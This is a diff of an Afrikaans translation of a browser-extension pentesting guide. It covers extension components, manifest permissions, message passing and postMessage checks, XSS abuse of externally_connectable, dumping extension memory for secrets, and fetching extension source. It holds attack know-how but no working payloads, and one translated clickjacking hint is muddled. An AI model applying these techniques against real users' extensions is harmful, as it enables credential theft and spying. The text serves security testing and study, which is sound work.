Die uitbreidingskern bevat die meeste van die uitbreidingspriveleges/toegang, maar die uitbreidingskern kan slegs met webinhoud interaksie hê deur [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) en inhoudskripte. Die uitbreidingskern het ook nie direkte toegang tot die gasrekenaar nie.
|
||||
|
||||
### **Inheemse Binêre**
|
||||
|
||||
Die uitbreiding maak 'n inheemse binêre moontlik wat **toegang tot die gasrekenaar met die gebruiker se volle regte kan hê.** Die inheemse binêre interaksie met die uitbreidingskern deur die standaard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) wat deur Flash en ander blaaier-invoegtoepassings gebruik word.
|
||||
Die uitbreiding maak 'n inheemse binêre moontlik wat **toegang tot die gasrekenaar met die gebruiker se volle regte kan verkry.** Die inheemse binêre interaksie met die uitbreidingskern deur die standaard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) wat deur Flash en ander blaaier-inproppe gebruik word.
|
||||
|
||||
### Grense
|
||||
|
||||
{% hint style="danger" %}
|
||||
Om die gebruiker se volle regte te verkry, moet 'n aanvaller die uitbreiding oortuig om skadelike insette vanaf die inhoudskrip na die uitbreidingskern en vanaf die uitbreidingskern na die inheemse binêre oor te dra.
|
||||
Om die gebruiker se volle regte te verkry, moet 'n aanvaller die uitbreiding oortuig om skadelike insette van die inhoudskrip na die uitbreidingskern en van die uitbreidingskern na die inheemse binêre oor te dra.
|
||||
{% endhint %}
|
||||
|
||||
Elke komponent van die uitbreiding is van mekaar geskei deur **sterk beskermende grense**. Elke komponent loop in 'n **afsonderlike bedryfstelselproses**. Inhoudskripte en uitbreidingskerns loop in **sandbox-prosesse** wat nie beskikbaar is vir die meeste bedryfstelseldienste nie.
|
||||
|
||||
Verder, inhoudskripte is geskei van hul geassosieerde webbladsye deur **in 'n afsonderlike JavaScript-heap te loop**. Die inhoudskrip en webbladsy het **toegang tot dieselfde onderliggende DOM**, maar die twee **ruil nooit JavaScript-aanwysers nie**, wat die lekkasie van JavaScript-funksionaliteit voorkom.
|
||||
Verder, inhoudskripte is geskei van hul geassosieerde webbladsye deur in 'n afsonderlike JavaScript-heap te loop. Die inhoudskrip en webbladsy het **toegang tot dieselfde onderliggende DOM**, maar die twee **ruil nooit JavaScript-aanwysers uit**, wat die lekkasie van JavaScript-funksionaliteit voorkom.
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
'n Chrome-uitbreiding is net 'n ZIP-vouer met 'n [.crx-lêeruitbreiding](https://www.lifewire.com/crx-file-2620391). Die uitbreidingskern is die **`manifest.json`** lêer aan die wortel van die vouer, wat uitleg, toestemmings en ander konfigurasie-opsies spesifiseer.
|
||||
'n Chrome-uitbreiding is net 'n ZIP-vouer met 'n [.crx-lêeruitbreiding](https://www.lifewire.com/crx-file-2620391). Die uitbreidingskern is die **`manifest.json`** lêer aan die wortel van die vouer, wat uitleg, toestemmings, en ander konfigurasie-opsies spesifiseer.
|
||||
|
||||
Voorbeeld:
|
||||
```json
|
||||
|
@ -83,7 +83,7 @@ Voorbeeld:
|
|||
```
|
||||
### `content_scripts`
|
||||
|
||||
Inhoudskripte word **gelaai** telkens wanneer die gebruiker na 'n ooreenstemmende bladsy **navigeer**, in ons geval enige bladsy wat ooreenstem met die **`https://example.com/*`** uitdrukking en nie ooreenstem met die **`*://*/*/business*`** regex nie. Hulle voer uit **soos die bladsy se eie skripte** en het willekeurige toegang tot die bladsy se [Dokument-voorwerpmodel (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
|
||||
Inhoudskripte word **gelaai** telkens wanneer die gebruiker **navigeer na 'n ooreenstemmende bladsy**, in ons geval enige bladsy wat ooreenstem met die **`https://example.com/*`** uitdrukking en nie ooreenstem met die **`*://*/*/business*`** regex nie. Hulle voer uit **soos die bladsy se eie skripte** en het arbitrêre toegang tot die bladsy se [Dokument-voorwerpmodel (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
|
@ -100,7 +100,7 @@ Inhoudskripte word **gelaai** telkens wanneer die gebruiker na 'n ooreenstemmend
|
|||
```
|
||||
Om meer URL's in te sluit of uit te sluit, is dit ook moontlik om **`include_globs`** en **`exclude_globs`** te gebruik.
|
||||
|
||||
Dit is 'n voorbeeld inhoudskrip wat 'n verduidelik-knoppie by die bladsy sal voeg wanneer [die stoor-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) gebruik word om die `message`-waarde uit die stoor van die uitbreiding te haal.
|
||||
Dit is 'n voorbeeld inhoudskrip wat 'n verduidelik-knoppie by die bladsy sal voeg wanneer [die stoor-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) gebruik word om die `message`-waarde uit die uitbreiding se stoor te haal.
|
||||
```js
|
||||
chrome.storage.local.get("message", result =>
|
||||
{
|
||||
|
@ -115,24 +115,24 @@ document.body.appendChild(div);
|
|||
```
|
||||
<figure><img src="../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
'n Boodskap word na die uitbreidingsbladsye gestuur deur die inhoudskrip wanneer hierdie knoppie geklik word, deur die gebruik van die [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dit is as gevolg van die beperking van die inhoudskrip in direkte toegang tot API's, met `storage` wat een van die min uitsonderings is. Vir funksionaliteite buite hierdie uitsonderings word boodskappe gestuur na uitbreidingsbladsye waarmee inhoudskripte kan kommunikeer.
|
||||
'n Boodskap word na die uitbreidingsbladsye gestuur deur die inhoudskrip wanneer hierdie knoppie geklik word, deur die gebruik van die [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dit is as gevolg van die beperking van die inhoudskrip in direkte toegang tot API's, met `storage` wat een van die min uitsonderings is. Vir funksionaliteite buite hierdie uitsonderings word boodskappe na uitbreidingsbladsye gestuur waarmee inhoudskripte kan kommunikeer.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Afhanklik van die webblaaier, kan die vermoëns van die inhoudskrip effens verskil. Vir Chromium-gebaseerde blaaier is die vermoënslys beskikbaar in die [Chrome-ontwikkelaarsdokumentasie](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), en vir Firefox dien die [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) as die primêre bron.\
|
||||
Afhanklik van die webblaaier, kan die vermoëns van die inhoudskrip effens verskil. Vir Chromium-gebaseerde webblaaier is die vermoënslys beskikbaar in die [Chrome-ontwikkelaarsdokumentasie](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), en vir Firefox dien die [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) as die primêre bron.\
|
||||
Dit is ook noemenswaardig dat inhoudskripte die vermoë het om met agtergrondskripte te kommunikeer, wat hulle in staat stel om aksies uit te voer en terugvoer terug te stuur.
|
||||
{% endhint %}
|
||||
|
||||
Vir die sien en foutopsporing van inhoudskripte in Chrome, kan die Chrome-ontwikkelaarshulpmiddelsmenu van Opsies > Meer gereedskap > Ontwikkelaarshulpmiddels geopen word OF deur Ctrl + Shift + I te druk.
|
||||
Vir die sien en foutopsporing van inhoudskripte in Chrome, kan die Chrome-ontwikkelaarshulpmiddels vanuit Options > More tools > Developer tools geopen word OF deur Ctrl + Shift + I te druk.
|
||||
|
||||
Wanneer die ontwikkelaarshulpmiddels vertoon word, moet die **Bron**-kategorie gekies word, gevolg deur die **Inhoudskripte**-kategorie. Dit maak dit moontlik om die uitvoering van lopende inhoudskripte van verskeie uitbreidings waar te neem en breekpunte in te stel om die uitvoervloei te volg.
|
||||
Wanneer die ontwikkelaarshulpmiddels vertoon word, moet die **Source tab** geklik word, gevolg deur die **Content Scripts**-tabblad. Dit maak dit moontlik om hardlopende inhoudskripte van verskeie uitbreidings te beskou en breekpunte in te stel om die uitvoervloei te volg.
|
||||
|
||||
### Ingespuite inhoudskripte
|
||||
### Geïnjecteerde inhoudskripte
|
||||
|
||||
{% hint style="success" %}
|
||||
Let daarop dat **Inhoudskripte nie verpligtend is** nie aangesien dit ook moontlik is om skripte **dinamies in te spuit** en om hulle **programmaties in te spuit** in webbladsye via **`tabs.executeScript`**. Dit bied eintlik meer **fynbeheer kontroles**.
|
||||
Let daarop dat **Inhoudskripte nie verpligtend is** nie aangesien dit ook moontlik is om skripte **dinamies in te spuit** en om hulle **programmaties in te spuit** in webbladsye via **`tabs.executeScript`**. Dit bied eintlik meer **fynbeheer**.
|
||||
{% endhint %}
|
||||
|
||||
Vir die programmatiese inspuiting van 'n inhoudskrip, word daar van die uitbreiding vereis om [gasheerregte](https://developer.chrome.com/docs/extensions/reference/permissions) vir die bladsy waarin die skripte ingespuit moet word, te hê. Hierdie regte kan óf verkry word deur hulle binne die manifest van die uitbreiding aan te vra óf op 'n tydelike basis deur [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
Vir die programmatiese inspuiting van 'n inhoudskrip, word daar van die uitbreiding vereis om [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) vir die bladsy waarin die skripte ingespuit moet word, te hê. Hierdie toestemmings kan óf verkry word deur hulle binne die manifest van die uitbreiding aan te vra óf op 'n tydelike basis deur [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
|
||||
#### Voorbeeld van 'n activeTab-gebaseerde uitbreiding
|
||||
|
||||
|
@ -236,13 +236,13 @@ js : [ "contentScript.js" ],
|
|||
```
|
||||
### `agtergrond`
|
||||
|
||||
Boodskappe wat deur inhoudskripte gestuur word, word ontvang deur die **agtergrondbladsy**, wat 'n sentrale rol speel in die koördinering van die uitbreiding se komponente. Veral, die agtergrondbladsy volhard deur die uitbreiding se leeftyd, wat diskreet optree sonder direkte gebruikerinteraksie. Dit besit sy eie Dokumentobjekmodel (DOM), wat komplekse interaksies en toestandsbestuur moontlik maak.
|
||||
Boodskappe wat deur inhoudskripte gestuur word, word ontvang deur die **agtergrondbladsy**, wat 'n sentrale rol speel in die koördinering van die uitbreiding se komponente. Veral, die agtergrondbladsy volhard oor die uitbreiding se leeftyd, wat diskreet opereer sonder direkte gebruikerinteraksie. Dit besit sy eie Dokument-Objekmodel (DOM), wat komplekse interaksies en toestandsbestuur moontlik maak.
|
||||
|
||||
**Kernpunte**:
|
||||
|
||||
* **Agtergrondbladsyrol:** Tree op as die senuweesentrum vir die uitbreiding, wat kommunikasie en koördinasie tussen verskeie dele van die uitbreiding verseker.
|
||||
* **Agtergrondbladsy Rol:** Tree op as die senuweesentrum vir die uitbreiding, wat kommunikasie en koördinasie tussen verskeie dele van die uitbreiding verseker.
|
||||
* **Volharding:** Dit is 'n altyd teenwoordige entiteit, onsigbaar vir die gebruiker maar integraal tot die uitbreiding se funksionaliteit.
|
||||
* **Outomatiese Generering:** As nie uitdruklik gedefinieer nie, sal die blaaier outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte wat in die uitbreiding se manifest gespesifiseer is, insluit, wat verseker dat die naatlose werking van die uitbreiding se agtergrondtake verseker.
|
||||
* **Outomatiese Generering:** As nie uitdruklik gedefinieer nie, sal die blaaier outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte wat gespesifiseer is in die uitbreiding se manifest insluit, wat verseker dat die naatlose werking van die uitbreiding se agtergrondtake gewaarborg word.
|
||||
|
||||
{% hint style="success" %}
|
||||
Die gerief wat deur die blaaier gebied word deur outomaties 'n agtergrondbladsy te genereer (wanneer nie uitdruklik verklaar nie) verseker dat alle nodige agtergrondskripte geïntegreer en operasioneel is, wat die opstelproses van die uitbreiding stroomlyn.
|
||||
|
@ -260,7 +260,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
|
|||
```
|
||||
Dit gebruik die [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) om boodskappe te luister. Wanneer 'n `"verduidelik"` boodskap ontvang word, gebruik dit die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) om 'n bladsy in 'n nuwe oortjie te open.
|
||||
|
||||
Om die agtergrondskrip te foutsoek, kan jy na die **uitbreidingsbesonderhede gaan en die dienswerker inspekteer,** dit sal die ontwikkelaarshulpmiddels met die agtergrondskrip oopmaak:
|
||||
Om die agtergrondskrip te foutopspoor, kan jy na die **uitbreidingsbesonderhede gaan en die dienswerker inspekteer,** dit sal die ontwikkelaarshulpmiddels met die agtergrondskrip oopmaak:
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -268,22 +268,22 @@ Om die agtergrondskrip te foutsoek, kan jy na die **uitbreidingsbesonderhede gaa
|
|||
|
||||
Blaaieruitbreidings kan verskeie soorte bladsye bevat:
|
||||
|
||||
* **Aksiebladsye** word vertoon in 'n **afrollys wanneer die uitbreidingsikoon** geklik word.
|
||||
* **Aksiebladsye** word in 'n **afrollys vertoon wanneer die uitbreidingsikoon** geklik word.
|
||||
* Bladsye wat die uitbreiding sal **laai in 'n nuwe oortjie**.
|
||||
* **Opsiebladsye**: Hierdie bladsy word bo-op die uitbreiding vertoon wanneer dit geklik word. In die vorige manifest In my geval kon ek toegang tot hierdie bladsy kry in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` of deur te klik:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Let daarop dat hierdie bladsye nie volhardend is soos agtergrondbladsye nie, aangesien hulle dinamies inhoud laai as dit nodig is. Ten spyte hiervan deel hulle sekere vermoëns met die agtergrondbladsy:
|
||||
Let daarop dat hierdie bladsye nie volhardend is soos agtergrondbladsye nie aangesien hulle dinamies inhoud laai wanneer nodig. Ten spyte hiervan deel hulle sekere vermoëns met die agtergrondbladsy:
|
||||
|
||||
* **Kommunikasie met Inhoudskripte:** Soortgelyk aan die agtergrondbladsy kan hierdie bladsye boodskappe van inhoudskripte ontvang, wat interaksie binne die uitbreiding fasiliteer.
|
||||
* **Toegang tot Uitbreiding-Spesifieke API's:** Hierdie bladsye geniet omvattende toegang tot uitbreiding-spesifieke API's, onderhewig aan die toestemmings wat vir die uitbreiding gedefinieer is.
|
||||
* **Toegang tot Uitbreidingspesifieke API's:** Hierdie bladsye geniet omvattende toegang tot uitbreidingspesifieke API's, onderhewig aan die toestemmings wat vir die uitbreiding gedefinieer is.
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`** en **`host_permissions`** is inskrywings van die `manifest.json` wat sal aandui **watter toestemmings** die blaaieruitbreidings het (berging, ligging...) en in **watter webbladsye**.
|
||||
|
||||
Aangesien blaaieruitbreidings so **bevoorreg** kan wees, kan 'n skadelike een of een wat gekompromitteer is, die aanvaller verskillende maniere bied om sensitiewe inligting te steel en die gebruiker te bespioneer.
|
||||
Aangesien blaaieruitbreidings so **bevoorreg** kan wees, kan 'n skadelike een of een wat gekompromitteer is, die aanvaller **verskillende maniere bied om sensitiewe inligting te steel en die gebruiker te bespioneer**.
|
||||
|
||||
Kyk hoe hierdie instellings werk en hoe hulle misbruik kan word in:
|
||||
|
||||
|
@ -342,16 +342,16 @@ Om toegang tot hierdie bladsye te hê, maak hierdie bladsye **potensieel vatbaar
|
|||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Om te voorkom dat CLickJacking-aanvalle plaasvind, kan hierdie bladsye slegs deur die uitbreiding gelaai word en nie deur lukrake URL's nie.
|
||||
Om te voorkom dat hierdie bladsye slegs deur die uitbreiding gelaai word en nie deur lukrake URL's nie, kan ClickJacking-aanvalle voorkom word.
|
||||
{% endhint %}
|
||||
|
||||
### `externally_connectable`
|
||||
|
||||
Volgens die [**dokumentasie**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), verklaar die `"externally_connectable"` manifest-eienskap **watter uitbreidings en webbladsye kan koppel** aan jou uitbreiding via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) en [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
|
||||
- As die **`externally_connectable`** sleutel **nie** verklaar word in jou uitbreiding se manifest nie, of as dit verklaar word as **`"ids": ["*"]`**, **kan alle uitbreidings koppel, maar geen webbladsye kan koppel nie**.
|
||||
- As **spesifieke ID's gespesifiseer word**, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **kan slegs daardie aansoeke koppel**.
|
||||
- As **passings** gespesifiseer word, sal daardie webtoepassings kan koppel:
|
||||
* As die **`externally_connectable`** sleutel **nie** verklaar word in jou uitbreiding se manifest nie of as dit verklaar word as **`"ids": ["*"]`**, **kan alle uitbreidings koppel, maar geen webbladsye kan koppel**.
|
||||
* As **spesifieke ID's gespesifiseer word**, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **kan slegs daardie aansoeke koppel**.
|
||||
* As **passings** gespesifiseer word, sal daardie webtoepassings kan koppel:
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
|
@ -366,14 +366,14 @@ As 'n webbladsy vatbaar vir XSS of oorneembaarheid aangedui word in **`externall
|
|||
|
||||
Dit is dus 'n baie kragtige omseiling.
|
||||
|
||||
Verder, as die klient 'n skelm uitbreiding installeer, selfs al word dit nie toegelaat om met die vatbare uitbreiding te kommunikeer nie, kan dit XSS-data inspuit in 'n toegelate webbladsy of **`WebRequest`** of **`DeclarativeNetRequest`** API's misbruik om versoek op 'n geteikenede domein te manipuleer deur 'n versoek vir 'n **JavaScript-lêer** te verander. (Let wel dat CSP op die geteikende bladsy hierdie aanvalle kan voorkom). Hierdie idee kom [**van hierdie skryfstuk**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
Verder, as die klient 'n skelm uitbreiding installeer, selfs al word dit nie toegelaat om met die vatbare uitbreiding te kommunikeer nie, kan dit XSS-data inspuit op 'n toegelate webbladsy of **`WebRequest`** of **`DeclarativeNetRequest`** API's misbruik om versoek op 'n geteikenede domein te manipuleer deur 'n versoek vir 'n **JavaScript-lêer** te verander. (Let wel dat CSP op die geteikende bladsy hierdie aanvalle kan voorkom). Hierdie idee kom [**van hierdie skryfstuk**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
## Web **↔︎** Inhoudskripskommunikasie
|
||||
## Web **↔︎** Inhoudskrip Kommunikasie
|
||||
|
||||
Die omgewings waar **inhoudskripte** opereer en waar die gasbladsye bestaan, is van mekaar **geskei**, wat **isolering** verseker. Ten spyte van hierdie isolering het beide die vermoë om met die bladsy se **Dokument-voorwerpmodel (DOM)**, 'n gedeelde hulpbron, te interaksioneer. Vir die gasbladsy om in kommunikasie met die **inhoudskrip** te tree, of onmiddellik met die uitbreiding deur die inhoudskrip, is dit nodig om die **DOM** te gebruik wat deur beide partye toeganklik is as die kommunikasiekanaal.
|
||||
Die omgewings waar **inhoudskripte** werk en waar die gasbladsye bestaan, is van mekaar **geskei**, wat **isolering** verseker. Ten spyte van hierdie isolering het beide die vermoë om met die bladsy se **Dokument-Objekmodel (DOM)**, 'n gedeelde hulpbron, te interaksioneer. Vir die gasbladsy om te kommunikeer met die **inhoudskrip**, of onmiddellik met die uitbreiding deur die inhoudskrip, is dit nodig om die **DOM** te gebruik wat deur beide partye toeganklik is as die kommunikasiekanaal.
|
||||
|
||||
### Posboodskappe
|
||||
|
||||
|
@ -395,7 +395,7 @@ port.postMessage(event.data.text);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="voorbeeld.js" %}
|
||||
{% code title="example.js" %}
|
||||
```javascript
|
||||
document.getElementById("theButton").addEventListener("click", () => {
|
||||
window.postMessage(
|
||||
|
@ -404,15 +404,15 @@ window.postMessage(
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
'n Veilige Post Message kommunikasie moet die egtheid van die ontvangsboodskap nagaan, dit kan gedoen word deur te kyk na:
|
||||
'n Veilige Posboodskap kommunikasie moet die egtheid van die ontvangsboodskap nagaan, dit kan gedoen word deur te kyk na:
|
||||
|
||||
- **`event.isTrusted`**: Dit is waar slegs as die gebeurtenis geaktiveer is deur 'n gebruikersaksie
|
||||
- **`event.isTrusted`**: Dit is waar slegs as die gebeurtenis deur 'n gebruikersaksie geaktiveer is
|
||||
- Die inhoudskrip kan 'n boodskap verwag slegs as die gebruiker 'n aksie uitvoer
|
||||
- **Oorsprongsdomein**: mag 'n boodskap verwag slegs 'n lys van domeine.
|
||||
- **Oorsprongsdomein**: mag 'n boodskap verwag slegs 'n lys van toegelate domeine.
|
||||
- Wees baie versigtig as 'n regex gebruik word
|
||||
- **Bron**: `received_message.source !== window` kan gebruik word om te kontroleer of die boodskap van dieselfde venster af kom waar die Inhoudskrip luister.
|
||||
|
||||
Die vorige kontroles, selfs as dit uitgevoer word, kan kwesbaar wees, so kyk na die volgende bladsy **potensiële Post Message-omleidings**:
|
||||
Die vorige kontroles, selfs as dit uitgevoer word, kan kwesbaar wees, so kyk na die volgende bladsy **potensiële Posboodskap omseilings**:
|
||||
|
||||
{% content-ref url="../postmessage-vulnerabilities/" %}
|
||||
[postmessage-vulnerabilities](../postmessage-vulnerabilities/)
|
||||
|
@ -428,7 +428,7 @@ Die vorige kontroles, selfs as dit uitgevoer word, kan kwesbaar wees, so kyk na
|
|||
|
||||
### DOM
|
||||
|
||||
Dit is nie "presies" 'n kommunikasiemanier nie, maar die **web en die inhoudskrip sal toegang hê tot die web-DOM**. Dus, as die **inhoudskrip** inligting daaruit lees, **vertrouend op die web-DOM**, kan die web hierdie data wysig (omdat die web nie vertrou moet word nie, of omdat die web vatbaar is vir XSS) en die **Inhoudskrip kompromitteer**.
|
||||
Dit is nie "presies" 'n kommunikasiemetode nie, maar die **web en die inhoudskrip sal toegang hê tot die web-DOM**. Dus, as die **inhoudskrip** inligting daaruit lees, **vertrouend op die web-DOM**, kan die web hierdie data **verander** (omdat die web nie vertrou moet word nie, of omdat die web vatbaar is vir XSS) en die **Inhoudskrip kompromitteer**.
|
||||
|
||||
Jy kan ook 'n voorbeeld vind van 'n **DOM-gebaseerde XSS om 'n blaaieruitbreiding te kompromitteer** in:
|
||||
|
||||
|
@ -438,19 +438,19 @@ Jy kan ook 'n voorbeeld vind van 'n **DOM-gebaseerde XSS om 'n blaaieruitbreidin
|
|||
|
||||
## Sensitiewe Inligting in Geheue/Kode
|
||||
|
||||
As 'n Blaaieruitbreiding **sensitiewe inligting binne sy geheue stoor**, kan dit **gelek** word (veral op Windows-masjiene) en daarvoor gesoek word.
|
||||
As 'n Blaaieruitbreiding **sensitiewe inligting binne sy geheue** stoor, kan dit **uitgelek** word (veral op Windows-masjiene) en daarvoor **gesoek** word.
|
||||
|
||||
Daarom moet die geheue van die Blaaieruitbreiding **nie as veilig beskou word nie** en **sensitiewe inligting** soos geloofsbriewe of mnemoniese frases **moet nie gestoor word nie**.
|
||||
|
||||
Moenie natuurlik sensitiewe inligting in die kode plaas nie, aangesien dit **openbaar** sal wees.
|
||||
|
||||
Om geheue van die blaaier te lek, kan jy **die prosesgeheue lek** of na die **instellings** van die blaaieruitbreiding gaan en klik op **`Inspect pop-up`** -> In die **`Geheue`**-afdeling -> **`Neem 'n snaphot`** en **`CTRL+F`** om binne die snaphot te soek vir sensitiewe inligting.
|
||||
Om geheue van die blaaier te dump, kan jy **die prosesgeheue dump** of na die **instellings** van die blaaieruitbreiding gaan en klik op **`Inspect pop-up`** -> In die **`Geheue`**-afdeling -> **`Neem 'n snaphot`** en **`CTRL+F`** om binne die snaphot vir sensitiewe inligting te soek.
|
||||
|
||||
## Inhoudskrip **↔︎** Agtergrondskrip Kommunikasie
|
||||
|
||||
'n Inhoudskrip kan die funksies [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **of** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) gebruik om 'n **eenmalige JSON-seriëleerbare** boodskap te stuur.
|
||||
|
||||
Om die **antwoord** te hanteer, gebruik die teruggekeerde **Promise**. Alhoewel, vir agteruitversoenbaarheid, kan jy nog steeds 'n **terugroepfunksie** as die laaste argument deurgee.
|
||||
Om die **antwoord** te hanteer, gebruik die teruggekeerde **Promise**. Alhoewel, vir agteruitversoenbaarheid, kan jy steeds 'n **terugroepfunksie** as die laaste argument deurgee.
|
||||
|
||||
Die stuur van 'n versoek van 'n **inhoudskrip** lyk soos dit:
|
||||
```javascript
|
||||
|
@ -483,15 +483,15 @@ sendResponse({farewell: "goodbye"});
|
|||
}
|
||||
);
|
||||
```
|
||||
In die voorbeeld wat uitgelig is, is **`sendResponse()`** op 'n sinchroniese wyse uitgevoer. Om die `onMessage` gebeurtenishanterer te wysig vir asynchrone uitvoering van `sendResponse()`, is dit noodsaaklik om `return true;` in te sluit.
|
||||
In die voorbeeld wat uitgelig is, is **`sendResponse()`** op 'n sinchroniese wyse uitgevoer. Om die `onMessage` gebeurtenishanterer te wysig vir asinchroniese uitvoering van `sendResponse()`, is dit noodsaaklik om `return true;` in te sluit.
|
||||
|
||||
'n Belangrike oorweging is dat in scenario's waar meerdere bladsye ingestel is om `onMessage` gebeurtenisse te ontvang, **sal die eerste bladsy wat `sendResponse()` vir 'n spesifieke gebeurtenis uitvoer, die enigste wees wat die respons effektief kan aflewer. Enige volgende reaksies op dieselfde gebeurtenis sal nie in ag geneem word nie.
|
||||
'n Belangrike oorweging is dat in scenario's waar meerdere bladsye ingestel is om `onMessage` gebeurtenisse te ontvang, **die eerste bladsy wat `sendResponse()` uitvoer** vir 'n spesifieke gebeurtenis, sal die enigste wees wat die reaksie effektief kan aflewer. Enige volgende reaksies op dieselfde gebeurtenis sal nie in ag geneem word nie.
|
||||
|
||||
By die skep van nuwe uitbreidings, moet die voorkeur gegee word aan beloftes eerder as terugroepfunksies. Met betrekking tot die gebruik van terugroepfunksies, word die `sendResponse()`-funksie as geldig beskou slegs as dit direk binne die sinchroniese konteks uitgevoer word, of as die gebeurtenishanterer 'n asynchrone operasie aandui deur `true` terug te gee. Indien geen van die handvatsels `true` teruggee nie of as die `sendResponse()`-funksie uit die geheue verwyder word (deur die afvalverwydering), sal die terugroep wat met die `sendMessage()`-funksie geassosieer word, standaard geaktiveer word.
|
||||
By die skep van nuwe uitbreidings, behoort die voorkeur eerder na beloftes te wees as na terugroepfunksies. Met betrekking tot die gebruik van terugroepfunksies, word die `sendResponse()`-funksie slegs as geldig beskou as dit direk binne die sinchroniese konteks uitgevoer word, of as die gebeurtenishanterer 'n asinchroniese operasie aandui deur `true` terug te gee. Indien geen van die handerers `true` teruggee nie of as die `sendResponse()`-funksie uit die geheue verwyder word (deur vullis ingesamel), sal die terugroep wat met die `sendMessage()`-funksie geassosieer word, standaard geaktiveer word.
|
||||
|
||||
## Laai 'n Uitbreiding in die Blaaier
|
||||
|
||||
1. **Laai** die Blaaieruitbreiding af & pak dit uit
|
||||
1. **Laai** die Blaaier Uitbreiding af & pak dit uit
|
||||
2. Gaan na **`chrome://extensions/`** en **aktiveer** die `Ontwikkelaarsmodus`
|
||||
3. Klik op die **`Pak ongepakte uit`** knoppie
|
||||
|
||||
|
@ -512,11 +512,11 @@ extension_id=your_extension_id # Replace with the actual extension ID
|
|||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||
unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
```
|
||||
### Gebruik die CRX Viewer-webwerf
|
||||
### Gebruik die CRX Viewer webwerf
|
||||
|
||||
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
||||
|
||||
### Gebruik die CRX Viewer-uitbreiding
|
||||
### Gebruik die CRX Viewer uitbreiding
|
||||
|
||||
'n Ander gerieflike metode is om die Chrome Extension Source Viewer te gebruik, wat 'n oopbronprojek is. Dit kan geïnstalleer word vanaf die [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Die bronkode van die kyker is beskikbaar in sy [GitHub-opgaarplek](https://github.com/Rob--W/crxviewer).
|
||||
|
||||
|
@ -524,7 +524,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
|||
|
||||
Chrome-uitbreidings wat plaaslik geïnstalleer is, kan ook nagegaan word. Hier is hoe:
|
||||
|
||||
1. Kry toegang tot jou Chrome-plaaslike profielgids deur `chrome://version/` te besoek en die "Profielpad" veld te vind.
|
||||
1. Kry toegang tot jou Chrome plaaslike profielgids deur `chrome://version/` te besoek en die "Profielpad" veld te vind.
|
||||
2. Navigeer na die `Extensions/` subgids binne die profielgids.
|
||||
3. Hierdie gids bevat al die geïnstalleerde uitbreidings, tipies met hul bronkode in 'n leesbare formaat.
|
||||
|
||||
|
@ -535,7 +535,7 @@ Om uitbreidings te identifiseer, kan jy hul ID's na name karteer:
|
|||
|
||||
